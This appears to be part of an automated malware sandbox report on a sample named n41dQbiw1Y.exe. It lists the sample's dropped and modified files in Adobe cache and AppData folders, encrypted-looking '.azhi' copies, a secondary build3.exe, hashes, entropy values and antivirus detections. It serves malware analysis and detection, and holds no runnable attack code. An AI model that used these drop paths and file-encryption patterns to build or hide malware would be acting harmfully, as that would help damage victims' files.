Preview:	{"os_..K([f......./v.+V...S.M./.zz..........b]:X......d...LU...q..j...t.-.(B4.7...(z.J..M6...\|.[B..t<....k.(...ocni..<..PIc..(.M.@C.....].rdC..eL.D.1>o(....2PJ,..S...L.?..56........$.........eA..\|1....79.N.....4.7"IC]....8X.._^.Q.;....L.?......KH.aQ=..6.a=<6.....^(.;].ra...9... \|`'.Q.jQ.....)......B...../.".........&*....i-...'kS.+...W..d.....gun..$.!.....d.zQA.,..O..\..z....%oP4..[>@F...O.p.B...X1.q....{..w...-jI...z.~...=P..Y....=....w.....wFq.t.;:.e...1C=gt+.C............tAm.".wZ>t.......n`V........K.eu.=.c._........D...W..;...b[?...=6.6.P.bK...j........^....4......e.LM..0..[n9...pu:..F 3Q.m@"..t@.x.v?8.V...[..Q.......2.P...R^...g...yu....R.....O..^[..%VK.2..0.(Z.....X..O........v...?....3,.,.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.727712124294481
Encrypted:	false
SSDEEP:	24:YKWB00mUKAvxYIVdYcdBomM/TR/UhR+1rbD:YYyHdYcdBozd/UhR4PD
MD5:	9D5D31419FEE424F5040B201A255C3B1
SHA1:	64796748A95EC2AD409DB24E1085A4F7CACFA961
SHA-256:	3AFA5F7271C64ABA5EC401FFAFE6F592845A7861838CB6B647ED68C78278F6C1
SHA-512:	3D911CF110A746746DAA9BCEB939B9581DAA70E92D8D16B1214CDC5158597B2CB113713E1B65EF00E16BB3E9A99A6DFBBB6AA67FA30E9F0C0D63E9EA0C1A14AF
Malicious:	false
Preview:	{"os_..K([f......./v.+V...S.M./.zz..........b]:X......d...LU...q..j...t.-.(B4.7...(z.J..M6...\|.[B..t<....k.(...ocni..<..PIc..(.M.@C.....].rdC..eL.D.1>o(....2PJ,..S...L.?..56........$.........eA..\|1....79.N.....4.7"IC]....8X.._^.Q.;....L.?......KH.aQ=..6.a=<6.....^(.;].ra...9... \|`'.Q.jQ.....)......B...../.".........&*....i-...'kS.+...W..d.....gun..$.!.....d.zQA.,..O..\..z....%oP4..[>@F...O.p.B...X1.q....{..w...-jI...z.~...=P..Y....=....w.....wFq.t.;:.e...1C=gt+.C............tAm.".wZ>t.......n`V........K.eu.=.c._........D...W..;...b[?...=6.6.P.bK...j........^....4......e.LM..0..[n9...pu:..F 3Q.m@"..t@.x.v?8.V...[..Q.......2.P...R^...g...yu....R.....O..^[..%VK.2..0.(Z.....X..O........v...?....3,.,.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.958589540607216
Encrypted:	false
SSDEEP:	96:cgnJp8umof+UhMtUthsP7IN0OH2mgd61KdUOQtGO:LJFmg+JUtqcN3+d6EdpO
MD5:	32F3B9796FDC10870561A0A24E394936
SHA1:	AF0B83641AF30F5285F35E2ADC7FEC56C5E7DBA9
SHA-256:	879CBC487801B96529CD5693F1D1DAFBFC6D288468CBD2B9D54FD8D6D81E144D
SHA-512:	AEC3839D2A2BFA872BDC901BC180B4F5384357DE51592D7DB7C5DFAAEB018480AA9A3367CFAFCA2D9333F1FAC5742B1A36105BB7D622D815D41E4056146B74F3
Malicious:	false
Preview:	...#5..>L~..PelN.z0..:.l..\.P.._H;.....^.u.T.[xA@\#P.....%h.my...}..x....+..B.I.7M."...%.-..E...h.3...~.V.....I..\|...FXH.......d..T.........,N.]....6..=..Kft3O.2~...Z{m.......hk..].t..v-e.>.sQ..~=J...[../G.:......3..6.-..`.py0'!.J ,.D.U.....s..6ciV%.^......e......].c.;k\|,t~.yf..]x..q$N=.?......#.....3......e][?..`.L{#n.c.....Na.v..%..T..?&..1.U.....X.s,...R ...s....Vp.Si..P.^.....-.....u....`...rY..{M(.W.!.......a.......a..X...._L...RJL..7..ZGr+.w.(~..4i{...S.../..R..{.~F..`...J.vJ...B.(....2..F0..C....c.P.]..,mqS;..$..sg..;.MoPp.p)x......Uwt.fK.m....p+....)DM....L..C..(..)..&.U(B.G.nSg.QF.I.uF........0..i.Oa....Q&[.......O.*Lq.].../r.#Cp.$.e......-,=2... .so.....:}...vBEl...\|...E.S_..`=...a..H.gMqY...EODj......P.;...Cf....&Au....9%_....n....I..K1.e.%.D\...A.7....s2.!..,."....5.!....~.f.....;.-.3..Uz,......l...M..%...6gZ.&..PK.6X.m.......C....g....q.S.B....m..E.......\|7`.io.6k.@.8$%.2j..&..,.....{....h.......2...a....r[;3.K...~s..Q.p.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.958589540607216
Encrypted:	false
SSDEEP:	96:cgnJp8umof+UhMtUthsP7IN0OH2mgd61KdUOQtGO:LJFmg+JUtqcN3+d6EdpO
MD5:	32F3B9796FDC10870561A0A24E394936
SHA1:	AF0B83641AF30F5285F35E2ADC7FEC56C5E7DBA9
SHA-256:	879CBC487801B96529CD5693F1D1DAFBFC6D288468CBD2B9D54FD8D6D81E144D
SHA-512:	AEC3839D2A2BFA872BDC901BC180B4F5384357DE51592D7DB7C5DFAAEB018480AA9A3367CFAFCA2D9333F1FAC5742B1A36105BB7D622D815D41E4056146B74F3
Malicious:	false
Preview:	...#5..>L~..PelN.z0..:.l..\.P.._H;.....^.u.T.[xA@\#P.....%h.my...}..x....+..B.I.7M."...%.-..E...h.3...~.V.....I..\|...FXH.......d..T.........,N.]....6..=..Kft3O.2~...Z{m.......hk..].t..v-e.>.sQ..~=J...[../G.:......3..6.-..`.py0'!.J ,.D.U.....s..6ciV%.^......e......].c.;k\|,t~.yf..]x..q$N=.?......#.....3......e][?..`.L{#n.c.....Na.v..%..T..?&..1.U.....X.s,...R ...s....Vp.Si..P.^.....-.....u....`...rY..{M(.W.!.......a.......a..X...._L...RJL..7..ZGr+.w.(~..4i{...S.../..R..{.~F..`...J.vJ...B.(....2..F0..C....c.P.]..,mqS;..$..sg..;.MoPp.p)x......Uwt.fK.m....p+....)DM....L..C..(..)..&.U(B.G.nSg.QF.I.uF........0..i.Oa....Q&[.......O.*Lq.].../r.#Cp.$.e......-,=2... .so.....:}...vBEl...\|...E.S_..`=...a..H.gMqY...EODj......P.;...Cf....&Au....9%_....n....I..K1.e.%.D\...A.7....s2.!..,."....5.!....~.f.....;.-.3..Uz,......l...M..%...6gZ.&..PK.6X.m.......C....g....q.S.B....m..E.......\|7`.io.6k.@.8$%.2j..&..,.....{....h.......2...a....r[;3.K...~s..Q.p.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.620626527502216
Encrypted:	false
SSDEEP:	12:kSekXgc40+w0h5WnjZcBxKKTWCFzPbGgCMFaJ/H/iEevE23Ycii9a:b5V+8izECdztCTJP/iEfvbD
MD5:	DD56473006F663816FFDA91451D0D8BE
SHA1:	5CC758B2936B157BC667298ABEC1C5335E289E54
SHA-256:	31620D9DEC048BF8F821865DEEDE38D766346C8B19E618BAA1B312CAC9610636
SHA-512:	FC0B8A76E850CFE5A3DE96B8BB8385AA99214650B1F9B671C65DBA24A7C326E73CFB50FFBD27930D9F795DA0E255F1C680976F95F4F28101F978E2B5C844F55B
Malicious:	false
Preview:	2023/S.T.".!c..=.O.1....#..t.....;..we.9....O-.'K%.1....x.....4..m1.X2[..M.Y.='Uds=~`x.v...HCM....7.....a...YL.?v...V(R.I....I.[..uo.\|.L.3.C%..3.}mB..y:v'J z.Q...V.L.>lq......-..<HK.......=x.M.R.&....O.G.3/.H~(..Zc...[....C..Ev....E...9.x;...iq..\..$A.^~<......../...u\......x.*i..)...2!.Z.K.8..?L.... YfC../4........... ......9.i.X.....O..W=...j#D.e..Lg....%<\.#.e.t.>J;.f.1.4$.\O...."..............5.Ye.oL%0.c..1H..4.`..&......d...L.c).....h.?`..).......t.....Y.?.w...}.%..xo.z...i.,4%)J..s>...IU..!...#FE.......w.......K.u"..R.g..~....`...XGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.620626527502216
Encrypted:	false
SSDEEP:	12:kSekXgc40+w0h5WnjZcBxKKTWCFzPbGgCMFaJ/H/iEevE23Ycii9a:b5V+8izECdztCTJP/iEfvbD
MD5:	DD56473006F663816FFDA91451D0D8BE
SHA1:	5CC758B2936B157BC667298ABEC1C5335E289E54
SHA-256:	31620D9DEC048BF8F821865DEEDE38D766346C8B19E618BAA1B312CAC9610636
SHA-512:	FC0B8A76E850CFE5A3DE96B8BB8385AA99214650B1F9B671C65DBA24A7C326E73CFB50FFBD27930D9F795DA0E255F1C680976F95F4F28101F978E2B5C844F55B
Malicious:	false
Preview:	2023/S.T.".!c..=.O.1....#..t.....;..we.9....O-.'K%.1....x.....4..m1.X2[..M.Y.='Uds=~`x.v...HCM....7.....a...YL.?v...V(R.I....I.[..uo.\|.L.3.C%..3.}mB..y:v'J z.Q...V.L.>lq......-..<HK.......=x.M.R.&....O.G.3/.H~(..Zc...[....C..Ev....E...9.x;...iq..\..$A.^~<......../...u\......x.*i..)...2!.Z.K.8..?L.... YfC../4........... ......9.i.X.....O..W=...j#D.e..Lg....%<\.#.e.t.>J;.f.1.4$.\O...."..............5.Ye.oL%0.c..1H..4.`..&......d...L.c).....h.?`..).......t.....Y.?.w...}.%..xo.z...i.,4%)J..s>...IU..!...#FE.......w.......K.u"..R.g..~....`...XGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.46324784799223
Encrypted:	false
SSDEEP:	12:axVhE01Z7bAA1nMSQ9VascteD3EUQYcii9a:axVhX7MSnZ+0UVbD
MD5:	FF769A0CEAE4ECCB4CE0CE4184C84241
SHA1:	D89957304ECCE433A4A848C0FC3A82D5C4FF94C5
SHA-256:	735B7E77FD58949D88C98CAA6659901E50E317D6D19C3737F618C2DF19D9DF50
SHA-512:	4D23656062B3104AAFE7EA9EE07F6517FA00F31AB0DC6C83AD08214B41708659D9241A49E12F525B97A1339D0B276CBB534A6764592F3D24FA6F45E0E8F70C5C
Malicious:	false
Preview:	S.z1.[/ B.a...[Fi.z?v.....=.nd..x..>.J..H.-.S.....FR...=.Q..y.B..E..<.Q........W.7. ..f..E.._../.3..+....u.U..'......v....t........f.~......2..;l.\.P.j......=.\I.......{.8.....U4.s..>ZY.'$S..L.N..KU.o%...D...q......l.}....(.U....H.........Mc......M.7..H`......M...T.k=.....J..X.uO\|v3...&.87/n......W...3..$...D.H.,>m..GC.G09M.+lU...;w..ED...\.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.46324784799223
Encrypted:	false
SSDEEP:	12:axVhE01Z7bAA1nMSQ9VascteD3EUQYcii9a:axVhX7MSnZ+0UVbD
MD5:	FF769A0CEAE4ECCB4CE0CE4184C84241
SHA1:	D89957304ECCE433A4A848C0FC3A82D5C4FF94C5
SHA-256:	735B7E77FD58949D88C98CAA6659901E50E317D6D19C3737F618C2DF19D9DF50
SHA-512:	4D23656062B3104AAFE7EA9EE07F6517FA00F31AB0DC6C83AD08214B41708659D9241A49E12F525B97A1339D0B276CBB534A6764592F3D24FA6F45E0E8F70C5C
Malicious:	false
Preview:	S.z1.[/ B.a...[Fi.z?v.....=.nd..x..>.J..H.-.S.....FR...=.Q..y.B..E..<.Q........W.7. ..f..E.._../.3..+....u.U..'......v....t........f.~......2..;l.\.P.j......=.\I.......{.8.....U4.s..>ZY.'$S..L.N..KU.o%...D...q......l.}....(.U....H.........Mc......M.7..H`......M...T.k=.....J..X.uO\|v3...&.87/n......W...3..$...D.H.,>m..GC.G09M.+lU...;w..ED...\.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.605847058397097
Encrypted:	false
SSDEEP:	12:ku1ppip2E4Cr2nGTYL0u0+nQwxRcztYSVO0LtdgKYcii9a:phy1rkh4u0+nQ+czCSNTMbD
MD5:	442A9E3F22DFB7BF926E7A25773D3759
SHA1:	C0B33672F3284F27989E3DC3063B43CC6F0588E5
SHA-256:	DBAB06C9F533C3C1468C36E5BEA05D0C58184AA77504FAAD359F2CD3AC149223
SHA-512:	6B70713E32D43356EA349A31DDE6A9AEE9792B0B518CBBB1182F48964F407C2F95E480B95CC39AD2E54EA6FFFB7573B815795F499348F686E0EE7CD179E260D3
Malicious:	false
Preview:	2023/d.'...(...., ..".'....].....i.c..UkY.E.j.....9Nb..-...........(u...l......UR.g.*+B.LIU4.o..<.N&d....M..U%..fm(....c7A..#..h..O..N...G..8....C......\|.=3m..b...%.&.Y....{m.......l.-.E.~.....X...4......U'W(t..R...T$.H...K...5.E4.M{W...qy....)...]..5.ne.j.....f.J.G>......C.\|...r_...'[....f.........T.sG.6p.(L#?..R.#._.:V.g.K..../..c.tYbH]y..}........5....3f.U\!..(...9.".......X.,.K.(r...."v.n.M.....n..._...G?..V...r0s...W.t;n.h^..Gd..-.?...h.R_F#[......<..L>...xq.....p..+o.s....FQ@.]...d5._.G.&....{v-J..t".GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.605847058397097
Encrypted:	false
SSDEEP:	12:ku1ppip2E4Cr2nGTYL0u0+nQwxRcztYSVO0LtdgKYcii9a:phy1rkh4u0+nQ+czCSNTMbD
MD5:	442A9E3F22DFB7BF926E7A25773D3759
SHA1:	C0B33672F3284F27989E3DC3063B43CC6F0588E5
SHA-256:	DBAB06C9F533C3C1468C36E5BEA05D0C58184AA77504FAAD359F2CD3AC149223
SHA-512:	6B70713E32D43356EA349A31DDE6A9AEE9792B0B518CBBB1182F48964F407C2F95E480B95CC39AD2E54EA6FFFB7573B815795F499348F686E0EE7CD179E260D3
Malicious:	false
Preview:	2023/d.'...(...., ..".'....].....i.c..UkY.E.j.....9Nb..-...........(u...l......UR.g.*+B.LIU4.o..<.N&d....M..U%..fm(....c7A..#..h..O..N...G..8....C......\|.=3m..b...%.&.Y....{m.......l.-.E.~.....X...4......U'W(t..R...T$.H...K...5.E4.M{W...qy....)...]..5.ne.j.....f.J.G>......C.\|...r_...'[....f.........T.sG.6p.(L#?..R.#._.:V.g.K..../..c.tYbH]y..}........5....3f.U\!..(...9.".......X.,.K.(r...."v.n.M.....n..._...G?..V...r0s...W.t;n.h^..Gd..-.?...h.R_F#[......<..L>...xq.....p..+o.s....FQ@.]...d5._.G.&....{v-J..t".GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.512063368655704
Encrypted:	false
SSDEEP:	12:G7fMl4H+ejM3fty2sgm92vLyPYAT5ie1CjUVKKYcii9a:GxH+aM3Ef2vLywBUhVKvbD
MD5:	3B389794305D75D4286729840820BF64
SHA1:	F583923CEBAC44314118234E35CAF52441C0D3B1
SHA-256:	8CF9A6824EB73E4D451F16E74D42FF48B6D71130A2A2AAFA5EEC18AF8BFC08A9
SHA-512:	503C5BF095B6DCCEE2FF2FAE22D10C41AC29DA70CDB8EED123D34AE4CC058D319BB8F9D12D2902EBC060CF7F14D025A9662052E38B4C6269940B5EDC51C1A619
Malicious:	false
Preview:	.h.6...B...i`.1......N..K..]He}UR.+.b...........UX.>.W.O.d.M...m.2ja.T.t..nVW1.9...v->..Ac?..$cI.5....N..G..h".$.NI.a.2..w..=.7.Z.l......h7m.Z[......k..'.m0G..=...s`..J..mi@.Z.#.zw.......=..#.sX....kA2"...i.W..J.....w%.c..b...kKG.x...-.@i...G....vS....D7.3s.<B........l.P}lx..-.lS..ER.b.R.X/.......[9..t+.8.B../....r.Y.c...I.kee....n.....=...{.j...8.J.]....... {..'l]RQ5....\..K..a)n.&#...X0.+....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.512063368655704
Encrypted:	false
SSDEEP:	12:G7fMl4H+ejM3fty2sgm92vLyPYAT5ie1CjUVKKYcii9a:GxH+aM3Ef2vLywBUhVKvbD
MD5:	3B389794305D75D4286729840820BF64
SHA1:	F583923CEBAC44314118234E35CAF52441C0D3B1
SHA-256:	8CF9A6824EB73E4D451F16E74D42FF48B6D71130A2A2AAFA5EEC18AF8BFC08A9
SHA-512:	503C5BF095B6DCCEE2FF2FAE22D10C41AC29DA70CDB8EED123D34AE4CC058D319BB8F9D12D2902EBC060CF7F14D025A9662052E38B4C6269940B5EDC51C1A619
Malicious:	false
Preview:	.h.6...B...i`.1......N..K..]He}UR.+.b...........UX.>.W.O.d.M...m.2ja.T.t..nVW1.9...v->..Ac?..$cI.5....N..G..h".$.NI.a.2..w..=.7.Z.l......h7m.Z[......k..'.m0G..=...s`..J..mi@.Z.#.zw.......=..#.sX....kA2"...i.W..J.....w%.c..b...kKG.x...-.@i...G....vS....D7.3s.<B........l.P}lx..-.lS..ER.b.R.X/.......[9..t+.8.B../....r.Y.c...I.kee....n.....=...{.j...8.J.]....... {..'l]RQ5....\..K..a)n.&#...X0.+....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.637280167484981
Encrypted:	false
SSDEEP:	12:kL3RuFF+Z5mglSiLi8NnBe82HHqmjAVEchmLunUvAZW1ug2B/lmYcii9a:Yk780GBe82nqAtemUUr1uTbD
MD5:	1EE43EC5124027F2DC32A8F081ED9335
SHA1:	11CA094A642BA5DACBC6F1B0692A32B6F59C6A83
SHA-256:	CA8A725EFD75014881A0A9DD8876D4921A079AEE459C67DED3ED5E57B7A252B7
SHA-512:	9D48C0F956774945BFDF02F915A23CC734CAB6F976A5934C9E3BC4F76D239F59D2822D121A3F2EB108FE13DED2ED5E0D7C0BFB327C4BB942C8A6A9EBE73D9C25
Malicious:	false
Preview:	2023/......b`H`...D.............".s.e...J.....>.-....K.....O...N./.}.....I..y..m.'.x.T!T.&`.7t..Y...........e..v..I.f.6.".a 4....t..B. ..QGw.,I_}..9.......[.3.iF._\|Av.........R.\~.V.....-...dB.8\|.J......)..!.~..J.&.Iw.}.....7.!....Pn..h}~.....>....Rq...6..#..,.?).C.t...=...#.H...].1\|....BY.....K..q....0.....nc..^....{9.$.[p..!`..36..N.n.'.\.%....-.............Cd6)...5....]2.V.;..nwE....Z..QM^..Bu.......d..L...jK$.H..\|.....D.......:.U.....<..N.JG..N._...e..K...U+...xp........s=.......[X.\1..5~.p.f....`\|....0.....%D../..P.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.azhi (copy)

Download File

Process:	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.637280167484981
Encrypted:	false
SSDEEP:	12:kL3RuFF+Z5mglSiLi8NnBe82HHqmjAVEchmLunUvAZW1ug2B/lmYcii9a:Yk780GBe82nqAtemUUr1uTbD
MD5:	1EE43EC5124027F2DC32A8F081ED9335
SHA1:	11CA094A642BA5DACBC6F1B0692A32B6F59C6A83
SHA-256:	CA8A725EFD75014881A0A9DD8876D4921A079AEE459C67DED3ED5E57B7A252B7
SHA-512:	9D48C0F956774945BFDF02F915A23CC734CAB6F976A5934C9E3BC4F76D239F59D2822D121A3F2EB108FE13DED2ED5E0D7C0BFB327C4BB942C8A6A9EBE73D9C25
Malicious:	false
Preview:	2023/......b`H`...D.............".s.e...J.....>.-....K.....O...N./.}.....I..y..m.'.x.T!T.&`.7t..Y...........e..v..I.f.6.".a 4....t..B. ..QGw.,I_}..9.......[.3.iF._\|Av.........R.\~.V.....-...dB.8\|.J......)..!.~..J.&.Iw.}.....7.!....Pn..h}~.....>....Rq...6..#..,.?).C.t...=...#.H...].1\|....BY.....K..q....0.....nc..^....{9.$.[p..!`..36..N.n.'.\.%....-.............Cd6)...5....]2.V.;..nwE....Z..QM^..Bu.......d..L...jK$.H..\|.....D.......:.U.....<..N.JG..N._...e..K...U+...xp........s=.......[X.\1..5~.p.f....`\|....0.....%D../..P.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\3d88f68d-5dbc-40f4-94a9-966076c7b722\build3.exe

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.702934391535998
Encrypted:	false
SSDEEP:	12:6ZwyWRvBzCHQgfXXEWwjrSCM/pE7xULBlHPbiRC7y6KcLK1DG5Ycii9a:NyAvBzCHQMnESZuS+RC7BqbD
MD5:	459A0A7F71A6BA890B74F91913E77484
SHA1:	86A5293E43FF140A67290F2955B1C737AD1960AE
SHA-256:	F212017EAEA02FAECDC32B1C788BF5B3D4A9A28764FF55E6028F8C6020B74AF6
SHA-512:	2660018548DD6D4BB3B958A30FEEB5499C5244CD4D09B52A1414D5D661B1A823552205B9498E02E816D780BC6B026945189382FB4EC00891B4DAF05BCDCE79F9
Malicious:	false
Preview:	<!DOCR,..K.%..V..&.. x.Xa=,,d.W....T......a0.{..p&../.....:E.....#.r...BMA..>ng$...p3...U..M...8.v...R......%+.>Ka.......5...I.c.q.\|."..t......d.:.7.%6.:.H.....+k.r.....J.......6f.5V.?...6=...8.'.C$...U.~=..u..l.U&.6.4...!.lY$......F..;..g..!.....gE..%...~.V..>c4.v.".6SZ........._..V..^v..~. ...v.+.....Y....;........f...:.1.N..4...V{d..>tF. .{'M.G......v-.~...w%F..;..i....z..h..i.p..^.a.t.Y.1.L.......'.[....,.gP.LSiV.E+..MH..1....2.....PuC.O..0.V.R.#....R..Q..'..G......yZ..8#.........hd...g....~.Zyn...U......4S.p.+..sEy.Unu2...._..10H=.,...F......]%.2.\.1yDbB8t.@3%0%S6P.:.......K ]....v@}...X..\|....a:N.....'E.T...c.)..2]..o...U+.\..T.#.Uo.R..+...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	836608
Entropy (8bit):	7.327697199060668
Encrypted:	false
SSDEEP:	12288:cXDnaeBniroOiI/th3XR+sUoZvckY5t9UevKRwGqp3+Yzr+9mpb6NPE/GBuYt:obnQ7Z/DosUMy9vvKRWp3RvOPDBFt
MD5:	0511A0C819ADE47392A2F3A51EAF1F0B
SHA1:	39B0471E8D501702179BFCB744728C00DCCED7BA
SHA-256:	635A73433A258FA5A9B3B015F57CA84E1C296E9B65888FB64EBB602213A9D49D
SHA-512:	A3FC26ACE23B84369A653A508744BB4502B64D4ACF7548EABF4EFE255A4FAAD89CA5D37E5BFE54F2F1EF81061FED95467CC4AA5672429A5F6714959F28BAD1B5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#uN)g. zg. zg. z.Z.zf. z.b.z}. z.b.z.. z.b.zA. znl.zn. zg.!z.. z.b.zf. z.b.zf. z.b.zf. zRichg. z........PE..L....c\c.............................T............@...........................!.............................................$...d.....!.P...........................................................XB..@............................................text.............................. ..`.data...DL.......>..................@....rsrc...P.....!.....................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.6146458120552065
Encrypted:	false
SSDEEP:	12:klR1tZFM3xm76qjjzr9Js7ETMASOYXGj4Gua/cRs37StCSmQ3eu7Ycii9a:QR1tY3Y76qVJsVASPWj4Gua/cRs374CZ
MD5:	91F840E03DAD7EE6F577FAADF9EDF2AA
SHA1:	1B45BF930C19A31648CA06531969C2A4165A720B
SHA-256:	90CFF81ABCA97233326E7973C25B76DA474454F26AF074122C551F8B609A5DD9
SHA-512:	3EEEE917EF75F6460ED5649A6EF31107FC0BA487654391722878E1ED86C699AD58F742A425350D8CB10B98249A6B786B9DB685F6D197736F15CAFF7320E0759A
Malicious:	false
